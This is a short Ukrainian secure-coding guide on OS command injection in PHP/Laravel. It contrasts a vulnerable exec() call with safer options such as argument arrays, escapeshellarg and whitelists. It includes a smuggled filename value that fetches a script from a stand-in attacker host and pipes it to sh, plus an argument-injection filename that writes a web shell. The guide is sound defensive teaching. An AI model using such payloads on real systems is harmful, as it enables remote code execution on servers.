Ін'єкція команд - дані від користувача потрапляють у рядок, який виконує командна оболонка (shell). Оболонка інтерпретує спецсимволи (;, &&, |, `, $()), і зловмисник дописує власну команду.
// вразливо
$file = $request->input('file');
exec("convert uploads/{$file} -resize 200x200 thumbs/{$file}");
// file = "a.jpg; curl https://evil.example/s.sh | sh"
Наслідок - виконання довільних команд з правами вебсервера: читання .env, встановлення бекдору, доступ до бази.
Захист - у порядку пріоритету:
1. Не викликати shell, якщо є бібліотека. Замість convert - Intervention Image/Imagick, замість curl - HTTP-клієнт, замість zip - ZipArchive.
2. Передавати команду масивом аргументів - тоді оболонка не залучається взагалі, і спецсимволи не мають значення:
use Illuminate\Support\Facades\Process;
Process::run(['convert', "uploads/{$file}", '-resize', '200x200', "thumbs/{$file}"]);
Symfony Process і Laravel Process з масивом передають аргументи програмі напряму. Рядок (Process::run("convert ...")) знову йде через shell.
3. Якщо рядок неминучий - кожен аргумент через escapeshellarg():
exec('convert ' . escapeshellarg($path) . ' ...');
4. Білий список значень для всього, що можна обмежити (формат, розмір, назва операції), і перевірка, що шлях лежить у дозволеному каталозі.
Пастка - ін'єкція аргументів. Навіть без shell значення, що починається з -, програма сприйме як опцію: файл з назвою --output=/var/www/public/shell.php чи -o.... Захист - роздільник -- перед позиційними аргументами (якщо програма його підтримує) і перевірка формату значень.
Додатково:
- функції
exec,system,passthru,shell_execіproc_openможна вимкнути вdisable_functions, якщо застосунку вони не потрібні; - процес вебсервера - з мінімальними правами в системі;
- назви завантажених файлів не використовувати в командах і шляхах - генерувати власні.
Докладніше в документації: OWASP: захист від ін'єкції команд ОС